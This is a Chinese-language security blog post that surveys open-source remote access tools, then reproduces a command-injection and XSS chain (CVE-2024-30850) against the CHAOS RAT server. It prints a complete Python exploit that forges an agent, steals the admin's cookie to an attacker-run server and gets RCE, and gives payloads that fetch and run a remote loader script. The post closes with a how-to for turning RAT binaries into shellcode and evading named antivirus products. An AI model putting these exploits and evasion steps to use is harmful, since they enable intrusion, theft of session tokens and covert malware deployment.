远程管理工具RAT是Remote Access Trojan的缩写。RAT软件可用于远程管理和技术支持等。但有时候它也是一种恶意软件,可以在未经授权情况下远程控制计算机系统。RAT用于远程管理或者技术支持给我们在项目维护或者协作提供了很多方便。但由于其用途的广泛,就像菜刀,用在厨房就是切菜,但落到坏人手里可能就是作恶工具。。
Quasar 是一个用C#编写的快速、轻量级的远程管理工具。从日常管理工作到员工日常监控都支持使用。Quasar提供了高稳定性和易用性的用户界面,是完美的远程管理解决方案。
Stitch 是一个Python远程管理工具(RAT),用于在Windows、Mac OSX或Linux系统上构建自定义payloads。可以支持选择payload是否绑定到特定的IP和端口,以侦听端口上的连接;还可以设置是否在目标系统启动时,向你发送系统信息邮件,以及是否开启键盘记录。
AndroRAT 是一个用于远程控制的Android系统,并从它检索信息。AndroRAT包含一个客户端和服务器端,客户端采用Java Android开发和服务端基于Python开发。
存在CVE-2024-30850反制过程如下
CHAOS RAT是由Golang开发的一款带有web面板的开源c2,主要用来挖矿,简单复现分析一下该RAT存在的rce漏洞
项目地址:https://github.com/tiagorlampert/CHAOS 解压,docker运行
# Create a shared directory between the host and container $ mkdir ~/chaos-container $ docker run -it -v ~/chaos-container:/database/ -v ~/chaos-container:/temp/ \ -e PORT=8080 -e SQLITE_DATABASE=chaos -p 8080:8080 tiagorlampert/chaos:latest

首先在BuildClient 函数找到了一处命令注入
func (c clientService) BuildClient(input BuildClientBinaryInput) (string, error) { if !isValidIPAddress(input.ServerAddress) && !isValidURL(input.ServerAddress) { return "", internal.ErrInvalidServerAddress } if !isValidPort(input.ServerPort) { return "", internal.ErrInvalidServerPort } filename, err := utils.NormalizeString(input.Filename) if err != nil { return "", err } newToken, err := c.GenerateNewToken() if err != nil { return "", err } const buildStr = `GO_ENABLED=1 GOOS=%s GOARCH=amd64 go build -ldflags '%s -s -w -X main.Version=%s -X main.Port=%s -X main.ServerAddress=%s -X main.Token=%s -extldflags "-static"' -o ../temp/%s main.go` filename = buildFilename(input.OSTarget, filename) buildCmd := fmt.Sprintf(buildStr, handleOSType(input.OSTarget), runHidden(input.RunHidden), c.AppVersion, input.ServerPort, input.ServerAddress, newToken, filename) cmd := exec.Command("sh", "-c", buildCmd) cmd.Dir = "client/" outputErr, err := cmd.CombinedOutput() if err != nil { return "", fmt.Errorf("%w:%s", err, outputErr) } return filename, nil }
本地验证命令注入,通过反引号成功实现命令注入
该函数在 generateBinaryPostHandler 中被调用
func (h *httpController) generateBinaryPostHandler(c *gin.Context) { var req request.GenerateClientRequestForm if err := c.ShouldBindWith(&req, binding.Form); err != nil { c.String(http.StatusBadRequest, err.Error()) return } osTarget, err := strconv.Atoi(req.OSTarget) if err != nil { c.String(http.StatusBadRequest, err.Error()) return } binary, err := h.ClientService.BuildClient(client.BuildClientBinaryInput{ ServerAddress: req.Address, ServerPort: req.Port, OSTarget: system.OSTargetIntMap[osTarget], Filename: req.Filename, RunHidden: utils.ParseCheckboxBoolean(req.RunHidden), }) if err != nil { h.Logger.Error(err) c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } c.String(http.StatusOK, binary) return }
而该handler对应的后台路由为 /generate
adminGroup.POST("/generate", handler.generateBinaryPostHandler)
通过访问该路由,推测该函数用于生成client被控端,输入的参数例如RunHidden、ServerAddress、ServerPort等
抓包查看所需参数,只有 address、port、os_target、filename、run_hidden五个参数可控
POST /generate HTTP/1.1 Host: 192.168.76.128:8080 Cookie: XDEBUG_SESSION=PHPSTORM; jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MTI4MzAxODgsIm9yaWdfaWF0IjoxNzEyODI2NTg4LCJ1c2VyIjoiYWRtaW4ifQ.qaYqzrnAypBZ5dVkRk5LR4GX3U_10dnZxVK6IAwXyfc Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8RrfJ8oE1HE3x45z Referer: http://192.168.76.128:8080/generate Origin: http://192.168.76.128:8080 Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Accept: */* Accept-Language: zh-CN,zh;q=0.9 Content-Length: 537 ------WebKitFormBoundary8RrfJ8oE1HE3x45z Content-Disposition: form-data; name="address" 172.17.0.2 ------WebKitFormBoundary8RrfJ8oE1HE3x45z Content-Disposition: form-data; name="port" 8080 ------WebKitFormBoundary8RrfJ8oE1HE3x45z Content-Disposition: form-data; name="os_target" 1 ------WebKitFormBoundary8RrfJ8oE1HE3x45z Content-Disposition: form-data; name="filename" ------WebKitFormBoundary8RrfJ8oE1HE3x45z Content-Disposition: form-data; name="run_hidden" false ------WebKitFormBoundary8RrfJ8oE1HE3x45z--
但是每个参数都有一定的检查,经过审计后,只有address存在利用可能
if !isValidIPAddress(input.ServerAddress) && !isValidURL(input.ServerAddress) { return "", internal.ErrInvalidServerAddress } if !isValidPort(input.ServerPort) { return "", internal.ErrInvalidServerPort } filename, err := utils.NormalizeString(input.Filename) if err != nil { return "", err }
针对isValidURL的绕过依旧利用反引号
http://example.com/'`touch /tmp/pwn`' or http://example.com'$(IFS=];b=curl]192.168.1.6:80/loader.sh;$b|sh)'

生成的agent,主要有三个信息,serveraddress,serverport,token。前两个不用说,token用于agent的身份认证,这些信息都以string形式存放在agent的编译信息中
上线流程为:
结合以上信息,通过提取agent的三个信息,可以伪造agent上线,并且可以控制向server的信息回传
能造成xss的无非两个地方,主机信息 与 命令回传
在命令回传处,直接输出,造成xss
伪造上线
输入命令,xss

伪造上线->xss->csrf->server端rce 或 伪造上线->xss->cookie登录->server端rce
import time import requests import threading import json import websocket import argparse import sys import re from functools import partial from http.server import BaseHTTPRequestHandler, HTTPServer class Collector(BaseHTTPRequestHandler): def __init__(self, ip, port, target, *args, **kwargs): self.ip = ip self.port = port self.target = target super().__init__(*args, **kwargs) def do_GET(self): print(self.path) cookie = self.path.split("=")[1] self.send_response(200) self.end_headers() self.wfile.write(b"") print(f"[+]Exploiting {self.target} with JWT {cookie}") headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0', 'Content-Type': 'multipart/form-data; boundary=---------------------------196428912119225031262745068932', 'Cookie': f'jwt={cookie}' } requests.post(url=f"http://{self.target}/generate",data=f'-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="address"\r\n\r\nhttp://example.com/\'`touch /tmp/pwn`\'\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="port"\r\n\r\n8080\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="os_target"\r\n\r\n1\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="filename"\r\n\r\n\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="run_hidden"\r\n\r\nfalse\r\n-----------------------------196428912119225031262745068932--\r\n',headers=headers,verify=False) def convert_to_int_array(string): int_array = [] for char in string: int_array.append(ord(char)) return int_array def extract_client_info(path): with open(path, 'rb') as f: data = str(f.read()) address_regexp = r"main\.ServerAddress=(?:[0-9]{1,3}\.){3}[0-9]{1,3}" address_pattern = re.compile(address_regexp) address = address_pattern.findall(data)[0].split("=")[1] port_regexp = r"main\.Port=\d{1,6}" port_pattern = re.compile(port_regexp) port = port_pattern.findall(data)[0].split("=")[1] jwt_regexp = r"main\.Token=[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*" jwt_pattern = re.compile(jwt_regexp) jwt = jwt_pattern.findall(data)[0].split("=")[1] return f"{address}:{port}", jwt def keep_connection(target, cookie, hostname, username, os_name, mac, ip): headers = { "Cookie": f"jwt={cookie}" } while True: data = {"hostname": hostname, "username":username,"user_id": username,"os_name": os_name, "os_arch":"amd64", "mac_address": mac, "local_ip_address": ip, "port":"8000", "fetched_unix":int(time.time())} requests.get(f"http://{target}/health", headers=headers) requests.post(f"http://{target}/device", headers=headers, json=data) time.sleep(30) def handle_command(target, cookie, mac, ip, port): headers = { "Cookie": f"jwt={cookie}", "X-Client": mac } ws = websocket.WebSocket() ws.connect(f'ws://{target}/client', header=headers) while True: ws.recv() data = {"client_id": mac, "response": convert_to_int_array(f"<script>var i = new Image;i.src='http://{ip}:{port}/'+document.cookie;</script>"), "has_error": False} ws.send_binary(json.dumps(data)) def run(ip, port, target): server_address = (ip, int(port)) collector = partial(Collector, ip, port, target) httpd = HTTPServer(server_address, collector) print(f'Server running on port {ip}:{port}') httpd.serve_forever() if __name__ == "__main__": parser = argparse.ArgumentParser() subparsers = parser.add_subparsers(dest="option") exploit = subparsers.add_parser("exploit") exploit.add_argument("-f", "--file", help="The path to the CHAOS client") exploit.add_argument("-l", "--local_ip", help="The local IP to use for serving bash script and mp4", required=True) args = parser.parse_args() if args.option == "exploit": target, jwt = extract_client_info(args.file) bg = threading.Thread(target=keep_connection, args=(target, jwt, "DC01", "Administrator", "Windows", "3f:72:58:91:56:56", "10.0.17.12")) bg.start() cmd = threading.Thread(target=handle_command, args=(target, jwt, "3f:72:58:91:56:56", args.local_ip, 8000)) cmd.start() server = threading.Thread(target=run, args=(args.local_ip, 8000, target)) server.start() else: parser.print_help(sys.stderr) sys.exit(1)

Tactical RMM 是一个基于Web的远程监控管理工具,基于Django和Vue开发。它的主要功能特征包括:
Spark 是一款免费、安全、开源、自托管、功能齐全、基于Web的跨平台远程管理工具,Spark支持通过浏览器随时随地控制你想控制的设备。
DRat 是一个去中心化远程控制工具,可以实现在没有服务端和配置文件服务器的情况下实现远程控制和配置下发。支持windows、Linux。主要功能特性包括:
通过生成的exe文件
根据PE类型,选择使用pe2sh或donut转为shellcode
下面以Spark为例,使用PE2SHC

既然已经有shellcode了,免杀的方法就多了。 随便找个不错的加载器如 GitHub - aeverj/NimShellCodeLoader: 免杀,bypassav,免杀框架,nim,shellcode,使用nim编写的shellcode加载器 ,也可以在此之前使用sgn自行加密混淆一次。 GitHub - EgeBalci/sgn: Shikata ga nai (仕方がない) encoder ported into go with several improvements
- Sgn介绍
SGN编码器一开始被认为是最好的Shellcode编码器,(直到现在其实也是)。作者的github地址是EgeBalci/sgn:https://github.com/EgeBalci/sgn。很有意思的一点是,作者直接在github上发起一项挑战,作者认为认为任何基于规则的静态检测机制都不能检测到用SGN编码的二进制文件,如果有人能编写一个可以检测每个编码输出的 YARA 规则,作者愿意拿出奖金来。
这里使用直接加载(也可以尝试其他加载方式,不过不保证每一个加载方式都能成功上线,需要自行测试)
再使用SharpThief随便套个资源
过过360、火绒、defendr还是轻松的。如果不免杀了,静态方面可以使用sgn或者直接采用分离加载。动态方面可以二开加载去自实现内存移动函数,规避杀软的API 调用**。**
成功上线

由于这些开源RAT使用的人不多,转为shellcode后的特征并没有被国内外厂商标记的太死,所以加一个小众语言加载器或是利用加密编码、分离这些过静态的方式就可以直接免杀。 说到最后最好的免杀方式就是自研C2。